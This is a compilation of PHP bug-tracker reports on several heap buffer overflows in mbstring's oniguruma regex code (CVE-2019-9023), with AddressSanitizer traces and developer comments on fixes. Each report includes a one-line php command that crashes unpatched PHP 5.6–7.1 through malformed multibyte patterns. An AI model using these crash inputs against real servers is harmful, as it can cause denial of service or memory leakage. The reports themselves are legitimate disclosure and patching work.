00 00 00 fa fa fa 00 00 00 fa fa fa 0x0c067fffb440: 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fffb450: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fffb460: 00 00 fa fa 00 00 00 00 fa fa fd fd fd fd fa fa =>0x0c067fffb470: 00 00 00 00[fa]fa fd fd fd fd fa fa fa fa fa fa 0x0c067fffb480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb4a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb4b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb4c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==16351==ABORTING Comments: [Comment 1] [2018-12-29 22:19 UTC] hugh at allthethings dot co dot nz updating summary [Comment 2] [2018-12-30 03:54 UTC] stas@php.net Proposed fix in security repo as 0839641503bc381d64347081b4308dd7335a26b5 and in https://gist.github.com/smalyshev/4902bc13d34390d0068163d5d8fd64f7. Please verify. Links: https://gist.github.com/smalyshev/4902bc13d34390d0068163d5d8fd64f7 [Comment 3] [2018-12-30 20:25 UTC] hugh at allthethings dot co dot nz Verified on 7.1.25, 7.0.33, and 5.6.39. Commit References: 0839641503bc381d64347081b4308dd7335a26b5 ================= Bug Report (2/7) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77371 ## Description: PHP Bug ID: 77371 Summary: heap buffer overflow in mb regex functions - compile_string_node Status: Closed PHP Version: 5.6.39 Assigned: stas (profile) CVE-ID: 2019-9023 Description: Description: ------------ After patching for #77370, I found another heap buffer overflow, based on incomplete multibyte strings in $pattern in mb regex functions such as mb_ereg, mb_split. Narrowed the bug down to the compile_string_node function in ext/mbstring/oniguruma/regcomp.c. In the function, the length of a string is calculated, and is used in add_compile_string. If the string has an unfinished multibyte character at the end of the string, then the length will overflow the end of the buffer. This could cause memory corruption and/or leakage. Reproduced on 5.6, 7.0 and 7.1 (after patch for #77370 is applied, otherwise that case gets hit first). 7.2, 7.3 and master don't have this bug due to not having the file. Patch is available at https://gist.github.com/hughdavenport/89849d35cc27c2242edcce4eb7c93520 Test script: --------------- php -r 'var_dump(mb_ereg("()0\xfc00000\xfc00000\xfc00000\xfc",""));' the patch from #77370 needs to be applied first to get to this point. Expected result: ---------------- no crash Actual result: -------------- $ ~/php-5.6.39/sapi/cli/php -r 'var_dump(mb_ereg("()0\xfc00000\xfc00000\xfc00000\xfc",""));' ================================================================= ==4295==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000002c38 at pc 0x0000004d67d1 bp 0x7fff747ef860 sp 0x7fff747ef010 READ of size 24 at 0x606000002c38 thread T0 #0 0x4d67d0 in __asan_memcpy (/home/hugh/php-5.6.39/sapi/cli/php+0x4d67d0) #1 0x847418 in add_bytes /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:284:3 #2 0x847418 in add_compile_string /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:452 #3 0x81a59a in compile_string_node /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:541:10 #4 0x81a59a in compile_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:1627 #5 0x8164f8 in compile_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:1590:11 #6 0x8092a5 in onig_compile /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5390:7 #7 0x82df69 in onig_new /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5545:7 #8 0x9a7775 in php_mbregex_compile_pattern /home/hugh/php-5.6.39/ext/mbstring/php_mbregex.c:458:19 #9 0x9a06e9 in _php_mb_regex_ereg_exec /home/hugh/php-5.6.39/ext/mbstring/php_mbregex.c:728:7 #10 0x11a26b8 in zend_do_fcall_common_helper_SPEC /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:558:5 #11 0xffc61d in execute_ex /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:363:14 #12 0xffe602 in zend_execute /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:388:2 #13 0xebe437 in zend_eval_stringl /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1080:4 #14 0xebfbb9 in zend_eval_stringl_ex /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1127:11 #15 0xebfbb9 in zend_eval_string_ex /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1138 #16 0x125a108 in do_cli /home/hugh/php-5.6.39/sapi/cli/php_cli.c:1038:8 #17 0x1256f81 in main /home/hugh/php-5.6.39/sapi/cli/php_cli.c:1382:18 #18 0x7fe2c4e7fb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #19 0x436129 in _start (/home/hugh/php-5.6.39/sapi/cli/php+0x436129) 0x606000002c38 is located 0 bytes to the right of 56-byte region [0x606000002c00,0x606000002c38) allocated by thread T0 here: #0 0x4eb780 in malloc (/home/hugh/php-5.6.39/sapi/cli/php+0x4eb780) #1 0x87e8ff in node_new /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1120:18 #2 0x87e8ff in node_new_str /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1498 #3 0x87e8ff in onig_node_new_str /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1516 #4 0x812709 in expand_case_fold_string /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3463:9 #5 0x812709 in setup_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3686 #6 0x8113e3 in setup_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3677:11 #7 0x80ec76 in setup_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3666:6 #8 0x805be8 in onig_compile /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5335:7 #9 0x82df69 in onig_new /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5545:7 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hugh/php-5.6.39/sapi/cli/php+0x4d67d0) in __asan_memcpy Shadow bytes around the buggy address: 0x0c0c7fff8530: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fff8540: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8550: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff8560: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fff8570: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa =>0x0c0c7fff8580: 00 00 00 00 00 00 00[fa]fa fa fa fa 00 00 00 00 0x0c0c7fff8590: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fff85a0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c0c7fff85b0: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 0x0c0c7fff85c0: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 0x0c0c7fff85d0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==4295==ABORTING Comments: [Comment 1] [2018-12-30 04:07 UTC] stas@php.net The fix is in security repo as d949cca738a67419c7d73f032ffe81ca6b77d803 and in https://gist.github.com/smalyshev/01688aa8e20317ee8c2ebc3cb4dd63b3 Please verify. Links: https://gist.github.com/smalyshev/01688aa8e20317ee8c2ebc3cb4dd63b3 [Comment 2] [2018-12-30 20:41 UTC] hugh at allthethings dot co dot nz Verified on 5.6, 7.0. Patch didn't apply cleanly to 7.1 (my bad!). Needs to test against sn->end instead of end in 7.1.25. That also fixes another bug I'm yet to file for 7.1, but still affects 5.6 and 7.0 so will hopefully write that up today [Comment 3] [2018-12-30 21:09 UTC] hugh at allthethings dot co dot nz Sorry, I had that file edited, but I found another instance where it could get fixed in compile_length_string_node. Should I just file another bug report for that along with a test case to keep them seperate? Cheers, Hugh [Comment 4] [2018-12-30 22:39 UTC] hugh at allthethings dot co dot nz #77381 is the new report for the one of the other enclen problems Commit References: d949cca738a67419c7d73f032ffe81ca6b77d803 ================= Bug Report (3/7) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77381 ## Description: PHP Bug ID: 77381 Summary: heap buffer overflow in multibyte match_at Status: Closed PHP Version: 5.6.39 Assigned: stas (profile) CVE-ID: 2019-9023 Description: Description: ------------ Caused by an incomplete multibyte char at end of $pattern in mb_split and mb_ereg. Leads to memory corruption and/or leakage. Reproduced on 5.6.39, 7.0.33, and 7.1.25, not reproduced on 7.2, 7.3 and master. Patch to fix available at https://gist.github.com/hughdavenport/3cb40fcf956085de44bf4443c25c58fe. Fixed by checking the length properly in compile_length_string_node. Test script: --------------- php -r 'var_dump(mb_ereg("000||0\xfa","0"));' Expected result: ---------------- no crash Actual result: -------------- 21:38 $ ~/src/php-src/sapi/cli/php -r 'var_dump(mb_ereg("000||0\xfa","0"));' ================================================================= ==32334==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300001c478 at pc 0x000000851e3e bp 0x7ffd64536450 sp 0x7ffd64536448 READ of size 1 at 0x60300001c478 thread T0 #0 0x851e3d in match_at /home/hugh/src/php-src/ext/mbstring/oniguruma/regexec.c:1315:13 #1 0x85424e in onig_search /home/hugh/src/php-src/ext/mbstring/oniguruma/regexec.c:3638:7 #2 0x984949 in _php_mb_regex_ereg_exec /home/hugh/src/php-src/ext/mbstring/php_mbregex.c:753:6 #3 0x12b1e72 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/hugh/src/php-src/Zend/zend_vm_execute.h:675:2 #4 0x111aa0d in execute_ex /home/hugh/src/php-src/Zend/zend_vm_execute.h:432:7 #5 0x111b9eb in zend_execute /home/hugh/src/php-src/Zend/zend_vm_execute.h:474:2 #6 0xf1d950 in zend_eval_stringl /home/hugh/src/php-src/Zend/zend_execute_API.c:1120:4 #7 0xf1e48a in zend_eval_stringl_ex /home/hugh/src/php-src/Zend/zend_execute_API.c:1161:11 #8 0xf1e48a in zend_eval_string_ex /home/hugh/src/php-src/Zend/zend_execute_API.c:1172 #9 0x13efbe8 in do_cli /home/hugh/src/php-src/sapi/cli/php_cli.c:1024:8 #10 0x13ecba5 in main /home/hugh/src/php-src/sapi/cli/php_cli.c:1381:18 #11 0x7f7d890f0b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x438cc9 in _start (/home/hugh/src/php-src/sapi/cli/php+0x438cc9) 0x60300001c478 is located 8 bytes to the left of 32-byte region [0x60300001c480,0x60300001c4a0) allocated by thread T0 here: #0 0x4ee320 in malloc (/home/hugh/src/php-src/sapi/cli/php+0x4ee320) #1 0xe53fdc in __zend_malloc /home/hugh/src/php-src/Zend/zend_alloc.c:2838:14 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hugh/src/php-src/ext/mbstring/oniguruma/regexec.c:1315:13 in match_at Shadow bytes around the buggy address: 0x0c067fffb830: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fffb840: fa fa 00 00 00 00 fa fa 00 00 00 fa fa fa 00 00 0x0c067fffb850: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa 0x0c067fffb860: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fffb870: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa fd fd =>0x0c067fffb880: fd fd fa fa 00 00 00 00 fa fa 00 00 00 04 fa[fa] 0x0c067fffb890: 00 00 00 00 fa fa 00 00 00 00 fa fa fa fa fa fa 0x0c067fffb8a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb8b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb8c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb8d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32334==ABORTING Comments: [Comment 1] [2019-01-02 08:43 UTC] stas@php.net I've made a common fix for four mbstring regex issues. It's in security repo as 6eb73547f231336d09e42d161ea6756b88832d46 and in https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5. Please verify. Links: https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5 [Comment 2] [2019-01-02 21:16 UTC] hugh at allthethings dot co dot nz Verified on 5.6, 7.0 and 7.1 [Comment 3] [2019-01-07 08:17 UTC] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. Links: http://snaps.php.net/, http://windows.php.net/snapshots/ [Comment 4] [2019-01-07 08:18 UTC] stas@php.net Related To: Bug #77382 Links: https://bugs.php.net/bug.php?id=77382 Commit References: 6eb73547f231336d09e42d161ea6756b88832d46 ================= Bug Report (4/7) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77382 ## Description: PHP Bug ID: 77382 Summary: heap buffer overflow due to incorrect length in expand_case_fold_string Status: Closed PHP Version: 5.6.39 Assigned: stas (profile) CVE-ID: 2019-9023 Description: Description: ------------ In expand_case_fold_string the len field is calculated off enclen, and is then used in onig_node_new_str which is passed to xmemcpy later down the line. This length may overshoot the string buffer if the last character is an unfinished multibyte character. Patch available at https://gist.github.com/hughdavenport/aa428164c8f30d20c178ce0ab2907947 Test script: --------------- php -r 'var_dump(mb_ereg("(?i)000000000000000000000\xf0",""));' Expected result: ---------------- no crash Actual result: -------------- $ ~/php-5.6.39/sapi/cli/php -r 'var_dump(mb_split("(?i)000000000000000000000\xf0",""));' ================================================================= ==11478==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000001fd8 at pc 0x0000004d67d1 bp 0x7ffcde7b2e90 sp 0x7ffcde7b2640 READ of size 4 at 0x606000001fd8 thread T0 #0 0x4d67d0 in __asan_memcpy (/home/hugh/php-5.6.39/sapi/cli/php+0x4d67d0) #1 0x87e12b in onig_strcpy /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:223:5 #2 0x87e12b in onig_node_str_cat /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1456 #3 0x87ed4e in node_new_str /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1515:7 #4 0x87ed4e in onig_node_new_str /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1525 #5 0x80e2a3 in expand_case_fold_string_alt /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3289:11 #6 0x80e2a3 in expand_case_fold_string /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3431 #7 0x80e2a3 in setup_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3687 #8 0x8118d7 in setup_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:3810:8 #9 0x805bd8 in onig_compile /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5336:7 #10 0x82e2a9 in onig_new /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5546:7 #11 0x9a6975 in php_mbregex_compile_pattern /home/hugh/php-5.6.39/ext/mbstring/php_mbregex.c:458:19 #12 0x9a5c97 in zif_mb_split /home/hugh/php-5.6.39/ext/mbstring/php_mbregex.c:1076:12 #13 0x11a18b8 in zend_do_fcall_common_helper_SPEC /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:558:5 #14 0xffb81d in execute_ex /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:363:14 #15 0xffd802 in zend_execute /home/hugh/php-5.6.39/Zend/zend_vm_execute.h:388:2 #16 0xebd637 in zend_eval_stringl /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1080:4 #17 0xebedb9 in zend_eval_stringl_ex /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1127:11 #18 0xebedb9 in zend_eval_string_ex /home/hugh/php-5.6.39/Zend/zend_execute_API.c:1138 #19 0x1259386 in do_cli /home/hugh/php-5.6.39/sapi/cli/php_cli.c:1040:31 #20 0x1256181 in main /home/hugh/php-5.6.39/sapi/cli/php_cli.c:1386:18 #21 0x7f66c1fb5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #22 0x436129 in _start (/home/hugh/php-5.6.39/sapi/cli/php+0x436129) 0x606000001fd8 is located 0 bytes to the right of 56-byte region [0x606000001fa0,0x606000001fd8) allocated by thread T0 here: #0 0x4eb780 in malloc (/home/hugh/php-5.6.39/sapi/cli/php+0x4eb780) #1 0x888fc3 in node_new /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1129:18 #2 0x888fc3 in onig_node_new_alt /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:1266 #3 0x888fc3 in parse_subexp /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5505 #4 0x890c12 in parse_enclose /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:4551:11 #5 0x890c12 in parse_exp /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5072 #6 0x88c561 in parse_branch /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5460:11 #7 0x888b22 in parse_subexp /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5487:7 #8 0x880655 in parse_regexp /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5531:7 #9 0x880655 in onig_parse_make_tree /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regparse.c:5558 #10 0x805645 in onig_compile /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5301:7 #11 0x82e2a9 in onig_new /home/hugh/php-5.6.39/ext/mbstring/oniguruma/regcomp.c:5546:7 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hugh/php-5.6.39/sapi/cli/php+0x4d67d0) in __asan_memcpy Shadow bytes around the buggy address: 0x0c0c7fff83a0: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd 0x0c0c7fff83b0: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fff83c0: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff83d0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff83e0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa =>0x0c0c7fff83f0: fa fa fa fa 00 00 00 00 00 00 00[fa]fa fa fa fa 0x0c0c7fff8400: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff8410: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fff8420: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8430: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff8440: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==11478==ABORTING Comments: [Comment 1] [2019-01-02 08:43 UTC] stas@php.net I've made a common fix for four mbstring regex issues. It's in security repo as 6eb73547f231336d09e42d161ea6756b88832d46 and in https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5. Please verify. Links: https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5 [Comment 2] [2019-01-02 21:16 UTC] hugh at allthethings dot co dot nz Verified on 5.6, 7.0 and 7.1 [Comment 3] [2019-01-07 08:18 UTC] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. See bug #77381 Links: http://snaps.php.net/, http://windows.php.net/snapshots/, https://bugs.php.net/bug.php?id=77381 Commit References: 6eb73547f231336d09e42d161ea6756b88832d46 ================= Bug Report (5/7) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77385 ## Description: PHP Bug ID: 77385 Summary: buffer overflow in fetch_token Status: Closed PHP Version: 5.6.39 Assigned: stas (profile) CVE-ID: 2019-9023 Description: Description: ------------ Similar to #77370, using enclen on an incomplete multibyte character will return a pointer after the end of the buffer. This will cause memory corruption and/or leakage. Patch available at https://gist.github.com/hughdavenport/09b48d4b20a28bcd7afaa530e2ec6731 Reproduced on 5.6.39, 7.0.33, 7.1.25, but not on 7.2, 7.3 and master. Test script: --------------- php -r 'var_dump(mb_ereg("0000\\"."\xf5","0"));' Expected result: ---------------- no crash Actual result: -------------- $ ~/php-7.0.33/sapi/cli/php -r 'var_dump(mb_ereg("0000\\"."\xf5","0"));' ================================================================= ==27833==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300001a430 at pc 0x0000004d8aa1 bp 0x7ffe531d6220 sp 0x7ffe531d59d0 READ of size 4 at 0x60300001a430 thread T0 #0 0x4d8aa0 in __asan_memcpy (/home/hugh/php-7.0.33/sapi/cli/php+0x4d8aa0) #1 0x85644b in onig_strcpy /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:223:5 #2 0x85644b in onig_node_str_cat /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:1456 #3 0x8667eb in parse_exp /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5109:6 #4 0x864525 in parse_branch /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5450:7 #5 0x860e42 in parse_subexp /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5487:7 #6 0x858975 in parse_regexp /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5531:7 #7 0x858975 in onig_parse_make_tree /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:5558 #8 0x7dd735 in onig_compile /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5302:7 #9 0x806389 in onig_new /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5547:7 #10 0x97e487 in php_mbregex_compile_pattern /home/hugh/php-7.0.33/ext/mbstring/php_mbregex.c:456:19 #11 0x978bce in _php_mb_regex_ereg_exec /home/hugh/php-7.0.33/ext/mbstring/php_mbregex.c:727:7 #12 0x1257a45 in ZEND_DO_ICALL_SPEC_HANDLER /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:586:2 #13 0x10d966d in execute_ex /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:417:7 #14 0x10da547 in zend_execute /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:458:2 #15 0xeeec74 in zend_eval_stringl /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1137:4 #16 0xeef77a in zend_eval_stringl_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1178:11 #17 0xeef77a in zend_eval_string_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1189 #18 0x13181f6 in do_cli /home/hugh/php-7.0.33/sapi/cli/php_cli.c:1010:21 #19 0x13150e5 in main /home/hugh/php-7.0.33/sapi/cli/php_cli.c:1350:18 #20 0x7f239ba07b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #21 0x4383f9 in _start (/home/hugh/php-7.0.33/sapi/cli/php+0x4383f9) 0x60300001a430 is located 0 bytes to the right of 32-byte region [0x60300001a410,0x60300001a430) allocated by thread T0 here: #0 0x4eda50 in malloc (/home/hugh/php-7.0.33/sapi/cli/php+0x4eda50) #1 0xe29d1c in __zend_malloc /home/hugh/php-7.0.33/Zend/zend_alloc.c:2882:14 #2 0xeabfb5 in zend_try_ct_eval_binary_op /home/hugh/php-7.0.33/Zend/zend_compile.c:5881:2 #3 0xeabfb5 in zend_compile_binary_op /home/hugh/php-7.0.33/Zend/zend_compile.c:5992 #4 0xe411a6 in zend_compile_expr /home/hugh/php-7.0.33/Zend/zend_compile.c:7232:4 #5 0xe59afd in zend_compile_args /home/hugh/php-7.0.33/Zend/zend_compile.c:2785:4 #6 0xe5bcb0 in zend_compile_call_common /home/hugh/php-7.0.33/Zend/zend_compile.c:2873:14 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hugh/php-7.0.33/sapi/cli/php+0x4d8aa0) in __asan_memcpy Shadow bytes around the buggy address: 0x0c067fffb430: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 0x0c067fffb440: 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fffb450: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fffb460: 00 00 fa fa 00 00 00 00 fa fa fd fd fd fd fa fa 0x0c067fffb470: fd fd fd fd fa fa fd fd fd fd fa fa 00 00 00 00 =>0x0c067fffb480: fa fa 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x0c067fffb490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb4a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb4b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb4c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fffb4d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==27833==ABORTING Comments: [Comment 1] [2019-01-02 08:44 UTC] stas@php.net I've made a common fix for four mbstring regex issues. It's in security repo as 6eb73547f231336d09e42d161ea6756b88832d46 and in https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5. Please verify. Links: https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5 [Comment 2] [2019-01-02 21:14 UTC] hugh at allthethings dot co dot nz Verified on 5.6, 7.0 and 7.1 [Comment 3] [2019-01-07 08:18 UTC] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. Links: http://snaps.php.net/, http://windows.php.net/snapshots/ Commit References: 6eb73547f231336d09e42d161ea6756b88832d46 ================= Bug Report (6/7) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77394 ## Description: PHP Bug ID: 77394 Summary: Buffer overflow in multibyte case folding - unicode Status: Closed PHP Version: 5.6.39 Assigned: stas (profile) CVE-ID: 2019-9023 Description: Description: ------------ When using mb regex functions such as mb_ereg and mb_split, with a pattern containing (?i) and a string ending with an incomplete multibyte character, then the case folding function will go past the end of the buffer. This can result in memory corruption and/or leakage. Reproduced in 5.6.39, 7.0.33, and 7.1.25. Not an issue in 7.2, 7.3 and master. Patch available at https://gist.github.com/hughdavenport/7f7b78c08aea058eaa955510d1548f12 Test script: --------------- php -r 'var_dump(mb_ereg("(?i)FFF00000000000000000\xfd",""));' Expected result: ---------------- no crash Actual result: -------------- $ ../php-7.0.33/sapi/cli/php -r 'var_dump(mb_ereg("(?i)FFF00000000000000000\xfd",""));' ================================================================= ==13642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000003ad8 at pc 0x0000008914cc bp 0x7ffd807c7430 sp 0x7ffd807c7428 READ of size 1 at 0x606000003ad8 thread T0 #0 0x8914cb in onigenc_unicode_mbc_case_fold 